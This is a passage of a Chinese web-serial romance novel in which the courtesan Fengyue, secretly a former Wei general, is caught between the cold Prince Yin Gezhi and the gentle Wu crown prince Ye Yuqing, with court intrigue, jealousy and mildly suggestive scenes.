“主子。”叹息一声,观止劝道:“您可以说,但您说话啊,向来直接又伤人。风月姑娘好歹一大早就起来教属下给您做菜,您瞧,全是您喜欢的。”
四样小菜一碗青豆粥,与之前观止做的简直大不相同。方才没注意看,现在瞧着,倒是真饿了。
“你告诉她要做这些的?”嘴角动了动,殷戈止斜着眼睛问。
观止摇头:“属下没说,风月姑娘自己说的做这几样。”
捏着筷子的手一顿,殷戈止眯眼。
还真是很了解他啊。
慢慢地享用了早膳,殷戈止眉头平复,难得地心情好了点。
“送点东西去梦回楼吧。”嫌弃地看着桌上的残羹剩饭,殷戈止道:“到底是来我这儿过了一夜,不给东西,倒显得我小气。”
“是。”观止躬身。
梦回楼。
风月刚钻过狗洞,就看见面前站了一双男人的腿,一双裤子脱下来堆在脚踝处的、男人的腿。
“啊!”
像是看见了风月,男人身上的断弦尖叫了一声,吓得那男人也一个哆嗦,抱着断弦后退了好几步。
“你干什么!”看清是她,断弦恼怒地吼了一声。
抬头看了看天上挂着的太阳,又看了看面前这对抱着的鸳鸯,风月站起身,掩唇一笑:“不好意思打扰了。”
然后裹着衣裳就往楼里冲。
断弦咬牙,狠狠地瞪了她的背影一眼,然后咬唇看向面前的人:“大人,咱们继续?”
这还怎么继续?推开她,满脸横肉的恩客提起了裤子,朝着风月跑的方向看了好几眼:“那是谁?”
“楼里新挂牌的姑娘。”心里恼恨,嘴上自然也没好话,断弦拢了衣裳道:“就是那个脱光了跳舞送人家怀里去的那个。”
“哦?”恩客来了兴趣:“长得倒是分外动人。”
说着,就跟着往楼里走。
断弦慌了,这个客人可是个大方的,怎么能就这么放走了?
“大人!”软绵绵地缠上去,断弦道:“您同奴家还没玩够呢,稍后再理会她不迟,人又跑不了。”
背后一软,恩客止了步子,想了想,还是先将背后这妖精压在假山上。
好不容易换了衣服喘口气,风月都没来得及躺下,就听得门“哐”地一声被踢开。
灵殊皱眉,看着门口站着的断弦,不高兴地道:“姑娘这气势汹汹的,是要做什么?”
“我做什么?”断弦皮笑肉不笑,抬着手腕抚着上头的金镯子,斜眼看着风月道:“我什么也不做呀,就是想问问风月姑娘,这镯子好看不好看?”
不慌不忙地在软榻上坐下,风月笑眯眯地点头:“好看,流光溢彩,一看就很值钱。”
这平淡的态度真是比什么都让人生气!断弦咬牙,怒道:“再好看,那也是我的,谁要是变着法儿想来抢,那就别怪我不客气!”
“谁稀罕个镯子?”灵殊不高兴地道:“我家主子又不是没有。”
“你家主子有吗?”睨了灵殊一眼,断弦哼道:“下作的东西,能得什么大人物赏识?别以为被人包场就了不起,得
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的赏钱少,以后还不够你的棺材本!”
“多谢姑娘提醒。”风月正了神色,一脸严肃:“我一定会好好存棺材本的。”
一副晚辈受教的模样,看得断弦更气了,张口却再骂不出什么来,只能气哼哼地下楼。
楼下的大堂里坐着几个早起的姑娘,断弦一下去,几个人就围在一起嘀咕,时不时地朝楼上风月的房间看一眼。
“主子!”灵殊单纯,经不起气,跺着脚就道:“她们怎么这样欺负人?”
风月很喜欢灵殊,招招手就道:“乖,过来。”
水灵灵的小丫头凑到她跟前,风月举着僵硬的手也调戏人家:“欺负人的都是坏姑娘,咱们不理她们!等会我给你银子,你买绿豆糕咱们躲着吃,好不好?”
灵殊咬唇,大眼睛泪汪汪的:“好是好,但是主子,奴婢刚梳好的头发!您这样摸,全乱了!”
咯咯咯地笑起来,风月没停下,跟个大尾巴狼似的道:“不乱不乱,灵殊怎么样都好看。”
说着,还伸下巴去蹭人家发髻。
灵殊吱哇乱叫,满屋子蹦跶,总算是忘了方才的不愉快。风月笑眯眯地看着她,眼神颇为慈爱。
“风月!”金妈妈一声叫唤从梦回楼正门直达风月房门,声音洪亮,直冲云霄,吓得风月差点从软榻上滚下来。
“快下来!”
满楼的人都听见了这声音,大堂里几个碎嘴的姑娘更是幸灾乐祸地伸长了脖子。
又闯什么祸了?
举着胳膊下楼,风月心里“咚咚”直跳,生怕是谁在背后给她捅了刀子。
然而,跑到门口,却见金妈妈一张脸笑得跟菊花开了似的:“快来谢谢人家!”
啥?风月扭头,就看见观止背着长刀站在门口冲她笑,旁边放着四担礼盒。
四担?!
红绸系了的担子,跟聘礼似的。大大小小的锦盒塞得满当,放在民间,可不就是聘礼的规制么!
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第10章 吴国太子爷
怔愣在原地,风月半晌都没能出声,眼睛直勾勾地盯着那红绸带,喉头微动。
“姑娘?”观止笑道:“这是我家主子送姑娘的谢礼,说姑娘辛苦了,早膳很合口味。”
谢礼。
眼神晃了晃,风月低低地笑了一声:“你家主子可不会说这么好听的话,是你说的吧。”
这都能猜到?观止有点尴尬,摸了摸自己的鼻尖。
深吸一口气,风月重新挂上笑容,朝观止行了个礼:“公子大方,奴家受了,多谢。”
朝她颔首,观止道:“在下就先回去了。”
“慢走。”
金妈妈一直在旁边笑,等人走了把东西抬进大堂,更是笑得喜气盈盈:“风月好福气啊,真是好福气,一来就遇见个这么大方的客人,这一堆东西,妈妈都看得眼红!”
断弦那头的几个姑娘刚刚还在嘲讽风月上不得台面,现在就被这一堆东西给震傻了眼。
“不可能吧?能送这么多东西?”微云姑娘连忙凑过来,打开几个盒子看了看。
珍珠、玛瑙、金器、银器样样都有,全是女儿家喜欢的,价值不菲。
“你做了什么?”断弦阴阳怪气地问:“能得这么多东西。”
风月耸肩:“就做本分之事,恩客大方罢了。”
这下她棺材本是有了。
一众姑娘看得心里都不是滋味儿,灵殊倒是高兴了,飞快地冲下来就开始搬:“来人帮个忙啊!”
楼里的打手纷纷上来帮忙把东西搬进风月的房间,风月瞧着,也没上去,就坐在大堂里等。
一个时辰之后,果然有人来敲梦回楼的门了。
“谁啊这是?”金妈妈跑去开门,小声嘀咕:“咱们是做晚上生意的,白天来什么人……”
门打开,一位常客的管家站在外头,笑眯眯地道:“我家老爷点了风月姑娘的台,这会儿方便过府吗?”
这会儿?金妈妈愣了愣,回头看了风月一眼。
风月笑着摇头:“不方便,奴家最近是被人包了场的,不走别家的台,还请大人见谅。”
管家一听,神色微动,转身就上马跑了。
“这是怎么回事儿?”关上门,金妈妈道:“怎么白天来点台?”
“晚上点的,才是妓子的生意。”风月眯着眼笑:“白天点的,自然就不是我该做的生意。”
听得云里雾里的,金妈妈疑惑地坐在旁边,也没敢多问。
过一会儿又有人来敲门,换了个奴才,依旧是点风月的台,风月也同样推辞了,继续等着。
殷戈止来梦回楼点人台不稀奇,让妓子留宿陪夜也不稀奇,但是送这么多东西来青楼,那自然就引人注目了。
谁都知道殷戈止这个人没有弱点,连后院里都空荡荡的,一个女眷也不收。突然对个妓子感兴趣,那定然会有很多人也同样感兴趣。
申时一刻,该来的人终于来了。
“天还没黑,难得梦回楼的大门今日是敞开的。”
温柔的声音带着笑,同那人青色的衣角一并扫进来,风月抬头,就对上了叶御卿一双如清河般的眼。
“公子。”金妈妈已经见怪不怪了:“您也是来点风月的台吗?她今儿不接……”
“公子里头坐。”风月起身,笑得妩媚多情,朝着叶御卿就行了福礼。
金妈妈:“……”这唱的是哪出啊?
眼角带笑,叶御卿盯着风月看了看,道:“看来风月姑娘今日生意不错。”
“承蒙厚爱罢了。”风月低头:“公子是来寻人的,还是也想跟风月聊聊天?”
“姑娘救了掌珠,伤势未愈,在下自然是来寻姑娘,并且想跟姑娘聊聊天。”
叶御卿生了一双极好的凤眼,贵气十足,偏生温柔多情,跟这种人相处,就比对着殷戈止那张**脸要好多了。
笑了笑,风月侧身作请:“去楼上吧。”
颔首应了,叶御卿侧头示意身后随从在下头等着,然后便随她往上走。
金妈妈被塞了两锭银子,耸耸肩也不打算管了,关上门就去歇着。倒是对门的几个姑娘,看见风月引了新客人,心思各异。
“姑娘看起来并未静养。”进屋坐下,叶御卿看了看风月的手:“伤得不轻,还能活动?”
打发了灵殊去买绿豆糕,风月笑道:“奴家又不是什么高贵的身子,哪里静养得了?这几日用的药甚好,手指勉强能动,也就没包那么严实了。”
就算能动,动着也应该很痛吧?叶御卿摇头,放了扇子就捧了她的手过来,仔细瞧了瞧。
两人瞬间挨得很近,风月甚至能看见他长长的睫毛。
吴国的皇后一定长得很好看,不然也生不出这般如玉的太子。要说殷戈止是一把嗜血的铁剑,那叶御卿一定就是锦盒绸缎上放着的无暇的美玉,触手温润,半点刺也没有。
“你的手。”叶御卿抬头,正好对上她的眼睛:“经脉好像不太畅通。”
“公子连这个都看得出来?”风月浅笑:“以前就断过,经脉自然不畅。”
“**过武吗?”他轻声问。
“不曾习武。”风月脸不红心不跳地摇头:“先前也就帮家里下地做过农活儿,有过茧子,如今也已经都没了。”
农人家出身的啊……叶御卿勾唇,盯着她看了一会儿,伸手抚上她的脸。
“你长得很好看。”他真诚地道:“那日看你一曲舞,在下便想,要是能做姑娘入幕之宾,倒是美事一桩。”
“哦?”风月挑眉,有些奇怪地看着他:“他们都骂奴家下作,比不得琴棋书画高雅呢,公子竟然喜欢?”
叶御卿摇头,笑得风流万分:“来这种地方寻什么高雅,就是寻个开心自如而已。若要高雅,在下家里岂不是更多?”
瞧瞧人家多想得开啊!要不是手还僵硬,风月都想给他鼓个掌,不愧是一国太子!
努力想红个脸,装得害羞娇俏一点,然而憋了半天脸就是不红,风月放弃了,还是老实地直接开口问:“您如今,是想要奴家?”
“姑娘如此美艳,在下若是不要,岂不可惜?”伸手勾着她的下巴,叶御卿调笑:“只是不知道姑娘方不方
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便?”
眼里媚意横生,风月低笑:“客人上门,哪有什么不方便的?”
叶御卿颔首,起身就将她给抱了起来,红色的纱裙在空中翻飞,动人得紧。
“你太瘦了。”慢慢往床榻的方向走,他低声在她耳畔道:“得多吃点。”
气息温热,带着些香草的味道,终于是成功让风月红了耳朵。
“公子说笑,再吃,您可就要抱不动了。”
“你再重些,我也抱得起。”慢慢地将她放进被子里,叶御卿眼里满是深情:“若是抱不动了,那我便让人用轿子抬。”
多会说话啊!这样长得俊俏又温柔的男人,简直让人无法抗拒。
在他的眼里,风月瞧见有些怔愣的自己——清晰的、像是被珍宝一样看着的自己。
这世上竟然还会有人把她当珍宝。
气氛暧昧起来,叶御卿爱怜地看着她,玉节一般的手指缓缓划过她的衣襟。
“嘭!”
衣襟还没划开,门却先被人踢开了,屋子里的香气瞬间散去,风月和叶御卿双双侧头,就见殷戈止一身玄衣,冷漠如阴曹地府刚归来的鬼神,双眸含霜地看向他们。
“要是在下没记错,今日她尚且是归在下的。”跨进门来,殷戈止道:“殿下是来抢人了?”
“原来你包场的日子还没结束。”停了动作,叶御卿看了他一眼,又低头,将风月的衣裳仔细整理好,然后揽着她的腰起身:“如此,那就当真是在下冒犯了。”
对他最感兴趣的吴国太子,看着他在青楼点的人,会不知道他到底包了人几天?殷戈止垂眸不语,斜眼看向风月,眼里嫌恶之色更浓。
是个人就能勾搭上床,也是好本事!
风月很无辜,她是妓子好不好?又不是谁家媳妇,难不成还要立个贞节牌坊?再说了,今儿一早是他那么嫌弃她的,谁知道他还继续要她啊?
没忍住,风月翻了个白眼,直直地砸在殷戈止的脸上。
刚好瞧见她这表情,殷戈止一愣,怒极冷笑,怎么着?这是找到新的恩客了,敢冲他甩脸子了?
“在下还有事,要带她去一趟校场。”伸手抓了她手就将人拉回来,殷戈止朝叶御卿点头:“就不打扰殿下了。”
这一扯扯得风月脸色发白,敢怒不敢言,浑身**都要炸起来了!
故意的是不是?她手骨还在愈合,是这么扯的?
叶御卿也微微皱眉,看了她一眼,捡了桌上的扇子道:“正好今日闲暇,我也正好去校场看看,不如就一起吧。”
没应也没拒绝,殷戈止只轻轻颔首,然后就跟扯破布似的扯着风月下楼。
“喂。”有些忍不住了,风月冷汗涔涔,也不用敬语了,直接咬牙道:“很痛,手要断了!”
前头的人恍若未闻,拉着她出门上马,将她放在自己身前。策马起步之后,再低声道:“你该更痛点,才知道教训。”
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第11章 您心情不好?
知道什么教训?轻轻揉着手,风月冷眼瞧他:“奴家做错了何处,惹得公子这般生气?”
“错了何处?”殷戈止下颔的线条收紧:“我一开始就警告过你,莫要接近太子。”
她倒是好,一转眼都接近得上了床!
握着她腰的手微微用力,他策马,马蹄高扬,颠簸得风月下意识地抱了马脖子。
“是他主动上门寻奴家,奴家开门做生意的,有拒绝的道理吗?”微恼地看着前头的路,风月道:“公子若是本事,就该拦着太子不让他进奴家的房门,怪在奴家身上算什么本事?”
“……”牙尖嘴利。
为什么怪她?那是因为她那姿态分明就是乐于伺候太子,半点没有推辞的意思!叶御卿是何等聪慧之人,万一被他加以利用,这女人**的都不知道,说不定还会连累到他。不怪她,那该怪谁?
“殿下。”后头马车里的人掀开车帘,看着那越跑越快的马,忍不住皱眉:“风月姑娘还有伤在身,不如让她上车来坐吧?”
殷戈止头也没回:“不必,她自己愿意骑马。”
愿意你奶奶个熊!风月咬牙,可怜巴巴地回头看了一眼,眼神里满是凄凉、不舍、无奈、哀怨。
叶御卿摇头叹息:“殿下实在不懂怜香惜玉。”
“在下自然不如太子懂女人。”说是这么说,殷戈止到底还是有人性的,稍微扯了扯缰绳,垂眸瞥了前头的人一眼。
倒是聪明,知道抱马脖子,不过脸色是当真难看,侧脸连着脖颈都雪白一片。
还真显得他禽兽不如了。
薄唇微抿,手里有千百条人命的殷大皇子难得地动了一下恻隐之心,收手勒马,低声问她:“想坐马车?”
风月已经半死不活了,趴在马背上哼也懒得哼,直接装死!
以前总有人说,殷大皇子冷血无情,不把人当人,她还觉得是人家恶意污蔑。现在落在自己身上,风月才发现,这丫的岂止是冷血无情,简直是畜生不如!妓子怎么了?妓子就不是人了?幸好她会骑马,换个娇弱的姑娘来,还不给人家颠簸得直接坠马见阎王去了?
活该一直娶不到老婆!
正嘀咕呢,背后的人好像就下了马,接着捏着她的腰,将她也扯了下去。
“干嘛?”没好气地问了一声,风月身子软得跟海带似的,就这么挂在他手上,完全放弃抵抗。
反正抵抗也没什么用。
殷戈止没吭声,拎着她等后头的马车跟上来了,便带着她一起坐了上去。
这就让人有点意外了,风月眨眼,被放在软软的坐垫上,冲着对面的叶御卿露出一个灿烂的笑容,然后才小声问:“公子这是不忍心了?”
拂了衣摆坐在她旁边,殷戈止面无表情地道:“不是,只是突然记起律法,**偿命。”
风月:“……”
叶御卿失笑,摇着扇子道:“外头太阳出来了,还是车里凉快。”
“对啊。”整理好微微凌乱的发髻,风月浅笑:“马车好。”
殷戈止冷哼,转头看向车窗外,不再开口。风月的小媚眼就冲叶御卿直抛,后者眼神微动,勾唇笑得意味深长。
等眼睛累了,风月才侧头,看了一眼旁边这人。
殷戈止今日这一身玄衣很是英气,与穿白衣的时候判若两人,墨发一半在头上梳了髻,另一半垂下来落在肩上,风吹过来就蹭上他钢铁般的轮廓,很是令人心动。
他这副皮囊也真是上天给的恩赐,以至于不管他脾性多差劲,军营里的姑娘们总是前赴后继,比攻高地还跑得积极。年少无知的少女们,总觉得相貌堂堂就是如意郎君,将一颗芳心错付,最后碎得渣子都不剩。
愚蠢又可怜。
轻摇着扇子,叶御卿不动声色地看着面前这两个人,或者说,就盯着风月看了。
这姑娘长得极美,至少在他见过的人当中,容颜上乘。两弯柳叶眉,一双丹凤眼,鼻梁比一般的女子挺拔些,带了点英气,但脂粉用得浓,妩媚诱人之感更甚。额间贴了金红色的花钿,映得眉目更加多情。
要只是个妓子,兴许他是会看上,然后与她相好一阵子也就罢了。但眼前,她看殷戈止的眼神实在含了太多东西,也许她自己都没察觉,似爱似恨,挣扎万分,那蒙蒙的雾气,像极了躺在他身下时候的样子。
突然就很想知道,她背后到底有什么故事。
能让他感兴趣的人太少了,这一年里也就出了个殷戈止,甚巧的是,殷戈止感兴趣的这个女人,恰好也让他有了兴趣。
那不如,就一起看看吧?
车轱辘“吱呀”一声,马车停了,外头的奴才搬了小凳子放在车辕边,殷戈止径直就下去了。
风月回神,提着裙子正要出去,却见叶御卿先动,轻声带笑地道:“你慢些。”
嗯?风月茫然,看着他下车,扇子一合就替她挑开了车帘,然后伸手给她,风度翩翩地道:“请。”
还没受到过如此待遇,风月有点错愕,半晌才回神把手放进他手里,借着力下了车。
“多谢。”
殷戈止冷眼旁观,眼里满是讥诮,风月硬着头皮将手收回来,慢慢挪到他身边站着。
“奴家一直没来得及问。”风月道:“这种地方,公子带奴家来做什么?”
“有用。”扔下这俩冰冷得跟冬天的铁块儿似的字,殷戈止转身就往校场里走。
冷得打了个哆嗦,风月耸肩,提着小裙子就跟了上去。
校场是她很熟悉的地方,虽然是吴国的校场,但一闻到沙子跟铁锈的味道,风月就觉得很踏实,心情都好了点。
因着昨日收徒之邀,今日来校场的人还真不少,时辰尚早,已经有七八个少年站在场地里,拿着兵器架上的东西随意耍练。
殷戈止没看他们,招呼也没打,带着观止就先往旁边的阁楼里走。
“主子。”身后人隔得远了,观止才皱眉开口:“您今日心情不是很好,要不要属下拿点降火的茶回去?”
殷戈止冷笑:“你哪里看出我心情不好?”
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观止撇嘴:“属下好歹跟了您十年了,您什么样的情绪属下看不出来?不过这般不高兴还是少见的,属下有些担心您。”
这是实话,十年的效忠,观止是唯一得到殷戈止全部信任的人,自家主子总是板着脸,旁人看不出情绪,也只有他知道主子是高兴还是不高兴。
“我只是讨厌有人冲撞出来打乱我的步调。”垂了眼眸上楼,殷戈止道:“她不该与太子亲近。”
不与太子亲近,那要是与别人亲近呢?观止想问,没能问出来,因为已经到地方了。
“宋将军。”朝前头的人拱手,殷戈止道:“今日有劳将军了。”
穿着铠甲的中年男人回过头来,爽朗一笑:“说什么有劳,我还得谢谢殿下如此替宋家军着想,请吧。”
阁楼的三楼有个露台,站在上头刚好能将下面校场空地上的场景尽收眼底。
比如现在,殷戈止刚一站上去,就看见叶御卿举了袖子替风月擦着眼睛。
“失礼了。”风月尴尬地道:“这家胭脂铺的妆粉果然不太好用。”
竟然给她花了!
低笑一声,叶御卿目光温柔地看着她:“赶明儿我让人给你送些好用的。”
“……不用了,奴家自己去买。”
好歹是个太子爷,怎么这么体贴啊?风月刚开始还想好好勾引一下人家的,但是现在看来,压根不用勾啊,这人简直一上来就如春天般温暖,暖得她都不好意思起什么歹心。
怨不得易掌珠总是被人骂了,这么好的太子,她竟然拒了人家的提亲,也不怪梦回楼里每天都有闲聊的姑娘编排她。
暴殄天物啊暴殄天物!
正想着呢,面前这张脸突然就放大了,缓缓地凑下来,似乎是想吻她。
啥?!风月惊呆了,四处还都是人呢,这是要做什么!
“锵!”
眼瞧着嘴唇都要碰上了,一把黑漆长刀突然破空而来,猛地扎在了离叶御卿五步远的地上!刀身震得摇晃,嗡鸣声不绝于耳。
校场上一时安静,叶御卿的动作也停了,直起身子侧头,展开扇子笑眯眯地看了阁楼上一眼。
观止表情震惊,旁边的宋将军脸也发白,只中间站着的那尊魔神,脸上毫无波动,长身玉立,目光平静,仿佛扔刀的人根本不是他。
“太子殿下!”回过神的宋将军连忙狂奔下楼,到叶御卿面前跪下:“卑职不知殿下驾到,有失远迎!”
“无妨。”叶御卿笑得心情甚好:“听闻这儿有比试,本宫自作主张来看个热闹,将军不必惊慌。”
这让他怎么不惊慌啊?啊!一出来看见殷大皇子扔刀就算了,扔的还是当朝太子在的方向,这不是要了他的命吗!
风月抬头,看着殷戈止的方向,微微皱眉。后者淡然地看着她,像从天而降的神,目光鄙夷地俯视她这蝼蚁。
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第12章 魏国女将军
两厢一撞上,下头的气势弱,立马就怂了。风月眨眨眼,无辜地指了指叶御卿,耸了耸肩,跟只纯洁的小羊羔一样。
是他先动的嘴!
跟看灰尘似的看了她一会儿,殷戈止移开了视线,盯着下头已经规规矩矩站好的几个人,开口道:“比吧。”
就这两个字,别的再也没说,下头一众世家子弟都有点傻眼。
比什么?以什么为规矩?是不是赢了就拜师?好歹多说两句啊,只扔下这两个字可怎么行!
叶御卿失笑,摇着扇子走过去:“殷大皇子要收徒,那肯定是收有天分的佼佼者,既然都到了校场了,不如就比比身手,胜者便上前拜师如何?”
当朝太子的话,那自然是有分量的。见殷戈止没开口反对,下头一群人就激动了起来,纷纷散开,留出中间一块空地。
风月在找死和保命之间犹豫了一会儿,还是乖乖提着裙子上了阁楼,缩在殷戈止身后,以免等会再有刀剑什么的飞过来。
殷戈止没回头,轻声哼了哼,然后便专心地看着下头。
“姑娘,坐这儿吧。”把黑漆长刀拔回来了的观止顺手给她拿了张凳子。
风月感激一笑,在栏边坐下,伸长脖子看向下头。
不看不知道,一看吓一跳,刚刚还只有七八个公子哥儿呢,这会儿倒有十几个人了,稀奇的是,其中竟然还有不少姑娘。
这是什么情况?吴国也允许女子从军?
两个世家子弟先上场,打得如火如荼。宋将军引着叶御卿上楼,一群人就站在露台上看,看到精彩的地方,叶御卿还笑着鼓掌。
客观来说,吴国的世家子弟还真有不少勤奋刻苦之人,至少那个蓝衣裳的和另一个灰衣裳的就打到了最后,看得她都忍不住想叫好。侧头看一眼殷戈止的眼神,大概也是对这两个人最感兴趣。
男人比完了,旁边站着的一群女子才动起来。不过不是上场打,而是直接站到阁楼下头,冲上面拱手道:“殿下,女子虽也能从军,但无论是力气还是体力都有不及男子之处,若是直接与男子相争,恐怕有失公平。”
殷戈止低头,面无表情地道:“行军打仗,对面可不会因为你们是女子,而派女子来同你们打。”
也就是说:打不过就滚!
下头为首的姑娘颇有几分姿色,一身妃色盔甲也煞是好看,想必是常被人捧在手里的,结果对上殷戈止这样毫不留情的话,当即脸就红了。
“小女子觉得,女儿家也可以有上阵杀敌之心,殿下何不给个机会?”
是想上阵杀敌,还是只想当殷戈止的徒弟?风月笑而不语,这样的路数别说殷戈止了,她原先都见过很多次,以为国效忠为名,行勾搭皇子之实。
老套路啊老套路!
换成叶御卿这样温柔的人,说不定还会给个台阶下,但很可惜,上头是殷戈止,冷眼一瞥便道:“你有上阵杀敌之心,那便去兵部招兵处报名即可。殷某只收有本事之人,除了真本事,其余的一概无用。”
“……”下头的人都是一窒,风月都忍不住捂脸。
醒醒吧姑娘们,还能指望这种人嘴里吐出**来?
到底都是贵门家的小姐,有人受不住了,顶嘴道:“女儿家的本事又不止打仗,打仗是你们男人最擅长的,但殿下何必以此蔑视我们?”
来校场上,不比武力,还要比女儿家的本事不成?叶御卿都听不下去了,展开扇子挡着脸摇头。娇生惯养的贵小姐,实在不适合来这黄土漫天的地方。
哪知殷戈止竟然没生气,像是一早就料到了一般,颔首道:“女儿家的本事的确是不小,若不论武,那不如就论貌吧。”
伸手就指向风月,殷戈止淡淡地道:“此女相貌平平,下头各位若是在容貌上能胜过她,在下也当收为徒。”
一阵风吹过来,风月一身红纱翻飞,额间花钿灼灼生光,媚眼横飞,妖娆美丽。
这叫相貌平平?叶御卿忍不住笑了一声。
先前还以为带风月来这里做什么呢,没想到是在这儿等着。殷戈止也真是料事如神,早知道会有姑娘家来,挖好了坑给人家跳。
下头的几个姑娘脸上都不太好看,瞧了瞧风月,也没人当真傻到上去比。有人想走了,但也还有不服气的,要去跟方才胜了的几个男子比划比划。
于是,该走的走,该打的继续打。风月凑到栏杆边儿上看,那穿一身黑色劲装的姑娘身手还算不错,与蓝衣的小哥打了十个来回,还没落下风。
“这人倒是不错。”宋将军道:“难得见女子有如此身手。”
留下来看热闹的几个姑娘也纷纷点头,有些羡慕地赞叹着。
风月没吭声,看那姑娘一个扫堂腿过去的时候,才轻轻摇了摇头。
“怎么?”观止小声问:“姑娘觉得那黑衣女子不行吗?”
“有点底子,但是看起来没脑子。”风月道:“蓝衣裳的下盘最稳,她还敢用扫堂腿,以卵击石,白费力气。”
只说了这么一句,下头站着的几个人就不爽了,皱眉看上来道:“这位姑娘既然这么厉害,不如也下去比划比划?”
风月咧嘴,一点气节也没有,举手就投降:“得罪了,我不会武。”
殷戈止又嫌弃地看了她一眼。
宋将军哈哈笑着打圆场:“卑职倒是听闻,原来的魏国有一位女将军,身手了得,半分不输男儿。若是下头的人有她那样的造诣,殿下肯定见着就收了。”
风月一顿,垂了眼皮。
殷戈止淡淡地道:“是有那么个人,不过无缘得见,如今也是再也不能见识了。”
关苍海的嫡女关清越,传闻里东旷之战时,一把红缨枪直冲敌军之中,顶着劣势直取对方统领首级,满身鲜血,眉目含英,巾帼不让须眉。
那样的女人才适合上战场,可惜一直与他上的不是同一个战场。本来平昌之战要遇见的,谁知她援军还未至,关苍海就先出了事,于是连同她,也被一并关押。
后来的事情就不用多说了,关家满门九族,无一生还。那女子,大概骨头都已经烂在了乱葬岗。
“啊呀,输了。”旁边的人低呼了一声,殷戈止回神,
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就见那黑衣女子已经败在蓝衣少年手下,颇为狼狈。
叶御卿轻笑:“看起来,还欠些火候。”
“最后赢的两个,是谁?”装作没看见一样,殷戈止侧头问了叶御卿一声。
没多想,叶御卿下意识地就开口回他:“安世冲、徐怀祖。”
“那就这两个人了。”殷戈止道:“观止,带他们随我回去。”
“是。”
“殿下,在下就先告退了。”转头朝叶御卿行了个礼,殷戈止抬头看向风月。
风月起身,正想问她是不是也可以走了,结果他丫的二话不说,过来扯着她的腰带就牵她下楼。
“……您这是遛狗呢?”
“少废话。”殷大皇子不爽得很:“从现在开始,你最好一个字也不要多说。”
真是不讲道理!风月扁嘴,使劲儿抿了抿唇。
叶御卿依旧摇着扇子,站在露台上目送殷戈止远去。宋将军站在他身边,也不知道这位爷在想什么,大气都不敢出。
“今天的殷大皇子,可真有意思啊。”
等人都走出去老远,叶御卿终于开了口,轻声笑道:“还没见过这样的。”
在吴国一年了,那人始终一张面无表情的脸,做什么都没有情绪波动,不管是进宫还是进青楼,仿佛四周的事情都跟他没有关系。
直到那天风月掉进他的怀里,就像一颗石头砸进平如镜的湖面,瞬间就起了好多好多的涟漪。
有趣极了。
宋将军有点茫然,他一介武夫,自然听不懂太子在说什么。只能跟着傻傻地点头,然后送太子离开。
殷戈止没回使臣府,径直去了梦回楼。
风月手疼得凶了,也没吭声,就安静地跟着他。一进屋,殷戈止就将灵殊给关在了外头,任凭灵殊直瞪观止,也没给开门。
“您今日,似乎格外小气。”坐在软榻上,风月瞧着他,露出小猫牙笑了笑:“该不是吃奴家的醋了吧?”
难以理解地看了她一眼,殷戈止道:“你以为自己是谁?”
“哎呀哎呀,开个玩笑,奴家这不是看您太严肃了嘛?”咯咯笑了两声,风月道:“既然不在意奴家,那您别这样凶啊,奴家可是水做的小姑娘,经不起吓的!”
还要不要脸了?殷戈止皱眉:“太子盯上你了。”
“这样啊。”风月平静地点头:“挺好的呀,那奴家接下来的生意就不用愁了……”
话没说完,脖子就又被人掐住了。风月抿唇,抬眼看他。
殷戈止满脸嘲讽:“你不是说,仰慕我仰慕了好几年?如今这么快就又仰慕上太子了?”
“公子。”风月莫名其妙地问:“您会娶我吗?”
谁会娶一个妓子?殷戈止黑着脸摇头。
“那不就得了?”风月笑道:“奴家既然嫁不成您,总要试试嫁给别人,万一就飞上枝头了呢?”
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第13章 腕上红绸
脸上微僵,殷戈止掐着她的手松了力道。
是啊,他又不会娶她,还真能指望一个妓子当真对他一心一意一生一世?做这一行的,花言巧语少不了,他也见过不少女人,听过的花言巧语也少不了,怎么就觉得她说的就应该是真的?
大概是二人太过和谐了,殷大皇子暗想,和谐到他有点贪恋那种滋味儿,所以顺带也有点贪恋给他那种滋味儿的人。
风月睨着他,看着他眼里复杂的神色,咯咯一笑,伸着小细腿儿就去勾他的腰:“公子何必想那么多呢?进门就是客,奴家一介女流,也翻不出什么浪来。把奴家当个玩物,不也就罢了?”
面前的人眼里又带了嫌弃,却也没推开她。风月立马得寸进尺,起身直接挂在了他身上,媚眼如丝地道:“公子若是在不愿意奴家伺候别人,可以将奴家赎回去啊?”
想得比长得还美呢!殷戈止冷笑,任由她挂着,径直就躺在了软榻上。
这一袭红纱就这么压着他,两只包得严实只露出手指的爪子放在他胸口,脸上带着让人讨厌的假笑,瞧着就让人不舒坦。
风月也不舒坦啊!这人一身钢筋铁骨,硌得她生疼,偏生还是她自己爬上来的,不好意思下去。这人不接话,屋子里就陷入了寂静。
本来说那话也没指望他能接,毕竟青楼狎妓是风流,但娶个青楼女子回家,那就是二流了。妓子是男人手中的玩物,更是万人尝的**货,但凡有些身份的人家,是断然不可能给妓子赎身的。运气好能遇见个有钱的商贾,运气不好的,也就老死孤巷中了。
想想也真是惨。
“就算搭上太子,他也不会娶你。”那人突然开口,胸口的震动惊得风月一个哆嗦:“啊?”
反应过来他说的是什么之后,她失笑:“要太子娶奴家,那不是更荒谬吗?奴家可没那宏图大志。不过太子为人温柔又体贴,相貌也是极好,若能伴他左右,倒也不错。”
讥诮地看她一眼,殷戈止冷声问:“你觉得我很不温柔、很不体贴?”
这不废话吗?简直是残暴无情啊!
“没有,怎么会呢?”心里骂着,面儿上却笑得更加柔情似水,风月道:“公子也很好。”
说着说着,腿就往人家的腰带上蹭。
殷戈止没拦她,一双眼平静地看着。
她本来只想调个情啥的,没想到这人还当真摆了一副等伺候的样子,风月干笑,看了看自己还在痛的手。
自己调戏的腰带,跪着也得解开!
认命地挪了身子,风月退后几步,跪坐在他腿上,搁置了两只手,俯身用牙去咬。雪白的小猫牙很是利索,蹭啊咬的,没一会儿竟然当真将腰带给弄开了。
累得喘了口气,风月抬头得意地笑,正想说她牙口不错吧?结果就对上殷戈止一双微微泛了欲望的眼。
“你的手段,可真是不少。”
声音略微沙哑,殷戈止起身就将她反压在了软榻上,粗粝的手指轻轻摩挲着她的唇瓣,眼神微黯:“早上,你也是用这嘴,咬了观止的外袍。”
莫名地起了层颤栗,风月抖了抖,一双狐眼水汪汪地看着他:“奴家这不是手上不好使力吗?”
“是么。”
不咸不淡的两个字,让人猜不到是什么情绪,风月有点紧张,正想再说点什么缓和一下气氛,结果就被身上这人以唇封唇,堵了个彻彻底底。
灵殊在外头正着急呢,十一二岁的小姑娘,急得发髻下的小辫子直甩。但观止挡着,她压根进不去,只能继续瞪他。
观止很无辜,摸着鼻尖小声道:“你别急了,我家主子不会把你家姑娘怎么样的。”
